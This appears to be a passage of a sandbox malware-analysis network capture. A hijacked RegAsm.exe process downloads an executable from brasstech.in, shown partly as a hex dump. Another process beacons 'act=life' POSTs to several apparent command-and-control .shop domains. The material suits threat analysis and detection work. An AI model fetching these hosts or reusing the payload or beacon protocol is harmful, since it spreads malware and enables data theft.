2024-09-15 17:37:35 UTC	220	OUT	GET /vnfdamfs.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: brasstech.in Cache-Control: no-cache
2024-09-15 17:37:35 UTC	249	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:35 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 15 Sep 2024 13:50:37 GMT Accept-Ranges: bytes Content-Length: 290344 Content-Type: application/x-msdownload
2024-09-15 17:37:35 UTC	7943	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 c4 e5 e6 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3c 04 00 00 0a 00 00 00 00 00 00 0e 5b 04 00 00 20 00 00 00 60 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 04 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf<[ `@ `
2024-09-15 17:37:35 UTC	8000	IN	Data Raw: f5 54 63 d1 ab 23 38 69 89 8f df e5 ba b4 48 79 ea 5a bb f7 d8 55 a1 e1 53 0b c9 b8 11 ce ed 8f 29 95 8a f1 6c e1 fe c9 fa a8 55 68 77 f0 6f e5 60 59 05 40 09 83 31 9d 57 f2 ad 24 c6 a4 82 44 89 2e 53 1c 6c ac 8b 4a fc ce fa d0 99 85 cf b5 8c 64 55 04 e7 c1 26 e6 fc 72 96 18 d9 c0 5b 77 db 74 38 f5 63 c2 cc f3 8c ae bb 44 bf 48 85 e0 c7 b9 25 0e 97 24 bc d6 fe f6 24 c8 d8 e3 ce 03 0e 08 13 df 9d c5 99 2e 3c 82 f8 5e 3c 05 92 fd 93 95 34 6c 12 be 23 05 28 80 e4 b7 9c 7a 2a d2 eb 90 b6 19 d5 0f b1 e0 b7 57 8b 14 a8 93 e8 2f 14 7b 46 29 91 e8 77 bb 15 f3 c6 41 89 a2 82 dd d7 e6 ce 18 e1 de 14 bc 58 43 d3 72 72 3c a4 0c 32 ca 45 31 b0 18 11 d4 95 03 2c 3e 69 c9 ce 3e 4d 86 85 e2 49 65 34 b2 7b 15 a6 23 9d 90 59 63 ba 8b 2d 04 b2 a1 1e 66 5a fb 74 db e3 32 ea Data Ascii: Tc#8iHyZUS)lUhwo`Y@1W$D.SlJdU&r[wt8cDH%$$.<^<4l#(z*W/{F)wAXCrr<2E1,>i>MIe4{#Yc-fZt2
2024-09-15 17:37:35 UTC	8000	IN	Data Raw: a2 9d 56 53 1d 43 2e a6 4c 0b f1 b6 5e 94 2b f3 af b8 12 0e d7 a4 5f 31 c4 15 9f ec 86 09 42 e1 1b 25 27 08 e9 72 6e 10 fe c1 2a 31 5b 1d 01 af d1 b6 2e 84 33 a3 4f 1b 99 0b 0b 6e 54 60 6c 2c 9b 92 0e 84 a9 f4 27 60 bb 0d d8 8f cd 6f 70 12 b5 4a d1 11 26 24 b3 f6 c6 17 55 85 ad 93 3c 40 e3 7d 97 b7 c6 ed 36 d3 4d ec 12 ea 73 b1 5f 89 58 3d 7c d4 57 b5 43 be 0a b6 45 bf f3 23 b0 66 56 87 34 14 1e c2 c7 a1 49 eb 1e 09 dc 6c 4c d5 d3 10 ec f0 5b b4 0f 03 3e 2f 0a 18 89 6c f6 f6 57 87 41 e8 b0 5d 7a f7 24 6f 11 4d b2 29 f7 58 87 2f 55 15 8c b0 8e 20 60 23 f8 a2 18 f6 05 57 95 50 7f 3d 42 49 7e 02 2f 79 7b c5 d9 15 6c f9 6c ee 0f 9a 4a 28 2a 37 1a da 33 2e 94 1b 84 c4 7b 3d 90 76 51 e8 05 12 6b b7 77 2a cd 22 d6 77 46 51 4e 18 e6 fb 19 0a bc ec dc 60 62 5b 6d Data Ascii: VSC.L^+_1B%'rn1[.3OnT`l,'`opJ&$U<@}6Ms_X=\|WCE#fV4IlL[>/lWA]z$oM)X/U `#WP=BI~/y{llJ(73.{=vQkw*"wFQN`b[m
2024-09-15 17:37:35 UTC	8000	IN	Data Raw: 35 9b 10 b8 4b 8e d9 cd 79 6d 11 5c 12 c8 4a ed ae 7f 2f d3 9a bf 8c ab e5 f6 ad 4c bb 58 4c 72 d3 60 fb c1 29 3d 83 8a 1d 0b 64 97 3a c4 5e 0d ae 74 da e8 83 3d 5d 27 05 7f 6e 82 a1 51 71 87 9a 3c 58 e8 ab 68 98 12 3c 6a 69 04 f0 88 ed 06 a3 31 7c 04 86 ee d0 67 b2 1d e3 8f aa 27 c3 ab ac 07 d5 b5 3c ec 4a 6b 8e c3 85 b3 8b 93 00 00 c2 9f e4 07 a4 e6 4f a9 da 23 f1 c8 f0 fa f2 08 06 05 c1 34 81 68 ab 50 d4 d4 50 11 77 9e 5b 40 e3 75 d0 4f 5b ef e6 e1 71 75 1c 1d e6 cc d7 d9 4d 67 55 67 4b 9f 8f ff 31 70 83 d2 e8 20 57 80 03 4e 10 6b c9 fc 70 db f7 b7 85 0a c1 16 4c 33 99 bb 9f fa 9c eb c8 d3 30 df a7 fb e0 20 7a 11 81 09 73 89 f4 9f c3 74 f0 e2 99 36 99 ee 9a 8f 8f a0 fb 20 97 48 50 4c ba db 46 77 42 63 e9 36 7c 1b 58 9c 8a 87 a7 96 cc f3 50 50 e8 94 b0 Data Ascii: 5Kym\J/LXLr`)=d:^t=]'nQq<Xh<ji1\|g'<JkO#4hPPw[@uO[quMgUgK1p WNkpL30 zst6 HPLFwBc6\|XPP
2024-09-15 17:37:35 UTC	8000	IN	Data Raw: 21 24 14 fc 7a 5d 67 49 fa b0 7f 5b a1 fc 20 2d c5 de 95 ec f0 e0 f1 17 fe 24 b3 fa e4 9c 20 7c d2 be c0 e9 2f 1b 13 e8 96 c8 c4 2f 8c fc fd 69 d6 c0 c0 65 48 87 21 69 d9 8e 8d a0 82 ef 2d cc b4 28 67 7c 01 07 76 fd d8 12 09 7d 0d 5b 7f 4d ea 8c a1 f9 37 77 dc 2e 30 7d e0 bf c2 4d 1e cb a1 26 4d e9 70 10 a2 41 3d 9a 2e 1e 3e d9 5b 6a ca fd 41 79 35 73 6c b0 7a 78 13 c8 00 08 a5 26 82 ba 60 b0 16 67 4d d8 07 8f 0a c3 b4 40 77 6a 4b 28 05 eb 68 c5 12 d5 9e b4 6f 27 6c e6 fc 04 56 00 a2 20 50 3f 10 2f f3 50 d0 b1 ca 55 4a 6e 8e db be 5e 8a ee 10 21 df cc 54 bd e6 c2 90 62 52 4e ed 6a 93 7b 3d 77 5f ae 02 ae 95 48 aa ff 0e c6 1f 68 33 27 ab b3 d9 6c a1 dc ad 97 46 da 9c cc 8e 5d 87 7d ea 00 76 36 1e 13 04 27 ca 80 dc 64 e6 03 1f c7 8f f4 d0 06 ab 53 97 c9 7a Data Ascii: !$z]gI[ -$ \|//ieH!i-(g\|v}[M7w.0}M&MpA=.>[jAy5slzx&`gM@wjK(ho'lV P?/PUJn^!TbRNj{=w_Hh3'lF]}v6'dSz
2024-09-15 17:37:35 UTC	8000	IN	Data Raw: e1 07 ad 22 48 0c 68 4f 8d d6 51 f0 31 fd 27 1d 96 2e 84 70 65 d7 8a 5d b1 2c 93 86 73 77 d4 0b 53 b1 5b 12 53 22 52 59 39 4d 43 c1 47 aa b6 f2 c2 08 a4 0d d8 b6 6c d5 f2 68 9e 38 31 a3 a4 ec a5 76 30 e5 04 c5 d2 3a 90 85 84 bf bd 9c 3e 5c a9 78 8f 2c 7f 43 77 2a 16 6e 48 4f 32 49 73 51 1f 26 14 34 3d f6 ea 80 6d d2 ff 21 64 db b0 81 14 8b b1 c2 6b 12 bb 17 25 cf f8 7f f5 04 7f dd 56 7b 54 39 3e ce 00 e4 6b 2e 2c 7f 93 10 15 fd dc d5 0e 87 3a d9 1b 20 6d 9b 4d cc 8d 48 2f 1e 8b cc 4d 1c 9b 23 ac fa 50 92 b5 2f 78 a6 1a 40 5d 0f f9 37 a6 85 35 69 6b 24 db ac d2 95 a0 29 5e f4 89 f3 eb 02 9f 47 b4 2a 14 20 3d 52 d8 4c b6 d5 b3 c4 dc 43 16 75 7a 25 42 95 10 f5 1a c6 9f c7 0e ae 08 a4 67 ee 27 4c 31 8d a5 00 50 a7 cd b5 d1 9b e3 80 27 e4 4a d5 e6 29 74 12 2a Data Ascii: "HhOQ1'.pe],swS[S"RY9MCGlh81v0:>\x,CwnHO2IsQ&4=m!dk%V{T9>k.,: mMH/M#P/x@]75ik$)^G =RLCuz%Bg'L1P'J)t*
2024-09-15 17:37:35 UTC	8000	IN	Data Raw: 58 0b 2a 6c 3c 4d 42 6b 0b ac 0d ae a7 e3 32 62 46 22 56 c1 8a 3a d5 a9 3e 96 f6 c5 db 9c 5f 7c 39 c7 37 e7 ea ff e9 dc 7c 9c bb 76 80 67 e6 19 24 85 7f b0 9b 4f b0 12 54 97 6a 68 d2 84 84 e5 16 bc 7c 3d 23 67 c2 fb 04 14 86 7a 02 51 81 e2 62 86 4d 9c 02 2d a8 a6 06 16 6d b1 f1 96 32 0a 97 b4 aa 85 87 ca 32 1d 00 78 ba 34 ef 31 03 76 b2 a0 81 90 b7 af 06 0d e9 83 4d 1c 19 71 f3 ea 84 61 24 2e b6 c1 3f d9 37 a0 f1 2b 45 8e ae 08 6e 75 1d 6b 25 3d d4 bb 80 5e e9 19 0e 13 f2 e0 6d 0b d2 5f 02 9e 1c 8c ad 6c 21 cc 61 37 2e 1a 5d bf 12 5c a2 0b f4 57 b5 89 d0 ef e2 b6 fb 63 b4 09 1b 5f 80 0e 70 90 e0 e8 16 40 93 a5 d7 01 15 e3 9e cb 87 18 cc ab 12 a4 fa 88 46 6d 0d 5a 7b ac fb da 34 ef c9 b1 cc 65 3f 69 89 d7 4e 93 1b ef 6b 03 06 37 66 52 fd 9d 89 23 e0 f0 b7 Data Ascii: X*l<MBk2bF"V:>_\|97\|vg$OTjh\|=#gzQbM-m22x41vMqa$.?7+Enuk%=^m_l!a7.]\Wc_p@FmZ{4e?iNk7fR#
2024-09-15 17:37:35 UTC	8000	IN	Data Raw: c3 c9 fa 65 bd 6c 40 3a bc 1e 20 f3 53 a0 ef 5e ce 7f d5 53 d2 0a b4 c0 d3 f5 08 39 e0 60 6d 1c 25 57 9a 1b 5b 10 0b b3 09 d8 07 d6 18 a1 5e 58 a0 72 2f bf 10 e6 53 2e 36 d7 47 c8 4c a3 73 1f c0 fc a5 63 48 35 c9 9d 14 2c e9 36 30 06 b5 f3 72 e4 11 50 64 31 00 9e 94 23 49 00 26 e6 59 37 18 ed 08 25 84 3c 91 26 08 06 fe f5 ab a8 ee 9a eb cc fe 14 d7 05 58 91 ab fa 22 cf fb 83 a9 c7 9a c7 3a 1f 0b af a2 2f 6e 7b a1 d8 8d b4 e4 77 99 db 1c 57 ea 75 a6 3a 7c 20 db 1c f1 63 b6 82 64 b8 e4 6a 74 74 b2 e9 fc c8 7a 81 4a 0f 80 0b 56 48 66 f8 80 b6 69 cb 7a 8c df bd 8d 3f 1c 7f f2 9b fb f8 1b c8 e6 0c 8b 9e fe 3b c8 f5 46 ff a0 d5 52 48 a8 07 4c 29 fe 2e 8f 23 18 ac 3d b5 41 38 0b 03 4b 38 9c 65 ab 9e ed 34 97 1d 3a 37 aa bf bc 3a 51 7a 36 1c b7 a1 6e e7 21 23 cb Data Ascii: el@: S^S9`m%W[^Xr/S.6GLscH5,60rPd1#I&Y7%<&X":/n{wWu:\| cdjttzJVHfiz?;FRHL).#=A8K8e4:7:Qz6n!#
2024-09-15 17:37:35 UTC	8000	IN	Data Raw: 3b 44 26 16 48 64 d6 d1 e6 67 06 99 55 30 2b ee 97 ee 41 88 d7 92 25 72 27 ce f6 a5 8a 56 5c 3c 83 8b a4 da b3 7f b8 d1 6d 76 d3 fb e2 f9 6b 88 8b 61 8b bd e5 81 4f a7 23 45 90 c9 aa 59 58 47 11 2f b6 29 c3 d4 2e d0 d6 4a 14 9b 9a 87 2d b7 d5 db e7 95 b6 cf bf 81 47 da 78 54 88 25 a4 20 36 7d 9f 02 85 0c 88 7c 49 a2 7e 84 0b 4d 53 09 9d d3 a2 2f e0 39 03 24 8e 4f f7 a0 5f 15 f5 82 8a eb f6 e9 a4 4b b7 c4 a1 58 5b f8 77 d7 f4 3f 4b 71 f4 ca ed ec 4f 27 57 d3 45 2a b1 0c 1b cd 86 78 2c d2 da c5 26 6e b5 a0 5e a8 f1 4d 9c 5a 65 9e bc 0b 1c 67 ef bb dc 4d ae 2f 08 00 b8 5b c3 17 72 31 fc 2d f7 07 ee 86 a9 82 1b 5a 9c bf 7b 25 07 ed be c3 9b 3d e5 d0 8b ae c1 03 39 ef b0 cf 2c 5b 69 e5 85 6f 87 8d ee 0b 85 6a ce 84 40 24 bd 0f c5 dd 06 e6 ec b1 96 29 ae 4e 87 Data Ascii: ;D&HdgU0+A%r'V\<mvkaO#EYXG/).J-GxT% 6}\|I~MS/9$O_KX[w?KqO'WE*x,&n^MZegM/[r1-Z{%=9,[ioj@$)N
2024-09-15 17:37:35 UTC	8000	IN	Data Raw: b7 ee eb 85 03 5a 35 ed 5b a2 0e d4 14 87 63 3b ff e5 2e 8a ec cd da 9b 57 42 2d f1 e5 77 b2 22 b5 4b d0 ab e3 15 b7 53 b6 74 1e 74 b3 d2 9a a0 07 87 6b cd 46 61 68 3d 9b e7 19 8b d2 9c f9 db 57 4f d5 b0 20 3b 81 c9 3d 59 75 8d 31 31 88 34 2a c1 77 e8 60 8c 03 bc f4 8b 31 fa 92 15 6d 6e a2 d5 a6 51 85 a8 6e b0 26 c8 19 8e 65 0a e2 82 aa ca e2 cb 22 2e 45 ba 3a d8 1d fd ca 1e f5 57 b4 ba f7 ed c2 a8 66 bc 9f f1 c6 8d 2c c9 b0 c7 28 c4 f6 2a 1e b9 16 ee 32 dd 10 1f 5b 91 62 9c 34 44 51 42 d3 f7 9d 2d 29 c6 27 55 b9 c9 56 56 2f c6 70 e2 ae 25 7e cf d8 b3 6b 40 39 e8 e4 fd d1 b0 97 37 51 84 4e f6 4c d9 05 ec d2 b8 0b d1 cf cd 5e ae 44 e6 e2 21 0a 4d ab 07 c1 98 8b 42 b4 09 62 63 e5 0a 96 3e aa a5 9d e1 e3 01 b8 cb fd 5a 5d 8a d3 db 2f 65 3d 88 b0 76 dd 44 83 Data Ascii: Z5[c;.WB-w"KSttkFah=WO ;=Yu114w`1mnQn&e".E:Wf,(2[b4DQB-)'UVV/p%~k@97QNL^D!MBbc>Z]/e=vD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49759	192.185.139.21	443	2632	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:45 UTC	138	OUT	GET /vnfdamfs.exe HTTP/1.1 Host: brasstech.in Range: bytes=279943- If-Range: Sun, 15 Sep 2024 13:50:37 GMT Cache-Control: no-cache
2024-09-15 17:37:45 UTC	304	IN	HTTP/1.1 206 Partial Content Date: Sun, 15 Sep 2024 17:37:45 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 15 Sep 2024 13:50:37 GMT Accept-Ranges: bytes Content-Length: 10401 Content-Range: bytes 279943-290343/290344 Content-Type: application/x-msdownload
2024-09-15 17:37:45 UTC	7888	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 04 00 0c 00 00 00 10 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: P;
2024-09-15 17:37:45 UTC	2513	IN	Data Raw: 30 1e 17 0d 32 32 31 30 30 34 31 37 32 31 30 33 5a 17 0d 32 39 30 31 30 31 30 30 30 30 30 30 5a 30 75 31 0b 30 09 06 03 55 04 06 13 02 43 41 31 10 30 0e 06 03 55 04 08 13 07 4f 6e 74 61 72 69 6f 31 0f 30 0d 06 03 55 04 07 13 06 4f 74 74 61 77 61 31 16 30 14 06 03 55 04 0a 13 0d 45 6e 74 72 75 73 74 2c 20 49 6e 63 2e 31 2b 30 29 06 03 55 04 03 13 22 45 6e 74 72 75 73 74 20 54 69 6d 65 73 74 61 6d 70 20 41 75 74 68 6f 72 69 74 79 20 2d 20 54 53 41 31 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 c1 ea a3 25 8e 45 34 17 ca f5 b3 c5 19 cc 08 b3 0b 13 4e a0 72 f6 ee a4 76 50 58 0f 46 d8 17 e9 b8 77 54 69 80 71 ba 8a 5f 58 67 3e 67 58 ef 4e 50 cd fa c6 d9 6e 13 33 8f ad c3 ae 46 f6 67 4e 6d 43 37 8b 89 dd f8 Data Ascii: 0221004172103Z290101000000Z0u10UCA10UOntario10UOttawa10UEntrust, Inc.1+0)U"Entrust Timestamp Authority - TSA10"0*H0%E4NrvPXFwTiq_Xg>gXNPn3FgNmC7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49760	188.114.97.3	443	2528	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:45 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: complainnykso.shop
2024-09-15 17:37:45 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-15 17:37:46 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mhjhv5giq676vta9ar2aqdlced; expires=Thu, 09 Jan 2025 11:24:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qaCJ3RHO7HdCOxWaGEsPzfw7xsMGdhe%2FGGpqxKG5%2FebZ83Z5KKP1fomRmQLe2%2Bond2GZLVwn9HzFNjcQ%2FUtQ4Q%2FbruJGdV%2BBAe2kg77WcBWmuXtI3riiDJC%2FG4sWcCXFhJT%2FQNI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c3a62f6cc768cec-EWR alt-svc: h3=":443"; ma=86400
2024-09-15 17:37:46 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-15 17:37:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49761	172.67.221.198	443	2528	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:47 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: basedsymsotp.shop
2024-09-15 17:37:47 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-15 17:37:47 UTC	800	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=of2dclmf9km8ldknesru3ir7hf; expires=Thu, 09 Jan 2025 11:24:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VEmu8KI81FuTEkoxhfBXsjpP0L99HB5GVW%2B60fhF7TufLY2FWtMIawCxcOUHbs9tyT24tsW3A0yWC2NjifG39WmLgSrypSpYmO6BbTvNvnkp0OhJ2TWcfKWVp4s2Wau6sTNdTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c3a62ff888e7ca6-EWR alt-svc: h3=":443"; ma=86400
2024-09-15 17:37:47 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-15 17:37:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49762	188.114.96.3	443	2528	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:48 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: charistmatwio.shop
2024-09-15 17:37:48 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-15 17:37:48 UTC	800	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ju9ucqiro7bn6k1kvt1d4l3488; expires=Thu, 09 Jan 2025 11:24:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e8C0wEYYjkBO2dLjDTe7uNeobKirTfRBDbkpct8%2FKgauaNrqjf4vbcUVJcydTIntJUUci1Jo0mZrUzIeU3K3WzdQxOwcflSNG%2FNU2F1iPRpSgi8szmVUqr00mOj1rRa838XhK0E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c3a6305ee3bc3ff-EWR alt-svc: h3=":443"; ma=86400
2024-09-15 17:37:48 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-15 17:37:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49763	188.114.97.3	443	2528	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:49 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grassemenwji.shop
2024-09-15 17:37:49 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-15 17:37:49 UTC	800	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=un8f5qr5m4olgcsulteg63122k; expires=Thu, 09 Jan 2025 11:24:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=go3hA0DljwGx1ZvABMy8QFnv7fxPcIxM5T4ukwZIYlku6XJxZOsJxfD3fx7S2IyYxr6AURsEYszkdkGLFwKUrrqKykiOjx9hRlg8wVxBHHjKX%2BhSbNOVjyQuwuzzQU1HcM8wcw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c3a630c0e5672ab-EWR alt-svc: h3=":443"; ma=86400
2024-09-15 17:37:49 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-15 17:37:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49764	104.21.26.150	443	2528	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:50 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: stitchmiscpaew.shop
2024-09-15 17:37:50 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-15 17:37:50 UTC	806	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f7b7kqv0cglt1g7n4rr59dr8av; expires=Thu, 09 Jan 2025 11:24:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A7OjQxlJoVd%2FPFK93ss1AejfP3BbPRKpSB88sEtq%2Fx0sqGYBW4tWX7TAqZgNz8fRhd7vDzZX28tkj%2FZVD%2BRny%2BdnroCqt%2Bxt1LdqkmtKMo1hEQrykDIaUTWB7CLYA3CDM4ALaCXB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c3a63124dbac43b-EWR alt-svc: h3=":443"; ma=86400
2024-09-15 17:37:50 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-15 17:37:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49765	188.114.96.3	443	2528	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:51 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: commisionipwn.shop
2024-09-15 17:37:51 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
